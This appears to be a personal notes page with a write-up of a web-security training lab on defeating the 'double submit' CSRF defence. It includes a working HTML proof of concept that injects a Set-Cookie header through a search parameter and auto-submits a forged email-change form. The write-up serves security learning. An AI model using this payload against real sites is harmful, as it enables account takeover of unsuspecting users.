Haft

Backlinks

CSRF where token is duplicated in cookie

TL;DR

Try changing the csrf cookie and token with matching value and observe the server accepts forged values as long as they match. Use that in conjunction to the header injection vulnerability in search functionality to craft a payload that sets the cookie for the user and send the POST request.

Learning Material

In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state:

POST /email/change 
HTTP/1.1 
Host: vulnerable-website.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 68 
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa 
 
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In this situation, the attacker can again perform a CSRF attack if the website contains any cookie setting functionality. Here, the attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Lab

This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Write-up

Change our current mail and observe the actual POST request content.

We can try to replay the request with different value still matching and see if we still can change our mail. If the server only checks if both cookie and parameter match, this is insufficient. They should be tied to the user session and consumed.

However, this request is validated and our test account is now under observe@behaviourchange. This means we should be able to create a poc with forged values for both cookies and parameters that should be accepted by the website. We still need a way to set cookies for the target. Note this would not be valid as soon as the server sets the cookie using the SameSite strict/lax attribute and you want to use a different domain (own delivery server). This security measure only holds as long as none of the domain or subdomain (if using lax) is vulnerable to other vulnerability.

Fortunately, this lab holds the same header indirect injection as the lab csrf where token is not tied to non-session cookie. We can use the search request vulnerability to trigger our Set-Cookie pre-requisite and exploit the vulnerability.

<html>
  <body>
      <form action="https://0ab500a204b8425b83794c2900e50053.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="vamos&#64;carlos" />
      <input type="hidden" name="csrf" value="craftedtoken" />
      <input type="submit" value="Submit request" />
    </form>
    <img src="https://0ab500a204b8425b83794c2900e50053.web-security-academy.net/?search=%0d%0aSet-Cookie:%20csrf=craftedtoken%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

SameSite=None

If you do not specify this option, the browser won’t set your cookie because the exploit server isn’t a sibling domain, the same domain or a valid subdomain of the lab. This can be verified by testing the vulnerability on ourselves. Without it, we don’t set our cookie and the token matching mechanism refuses our mail change request.

Backlinks

Recent Notes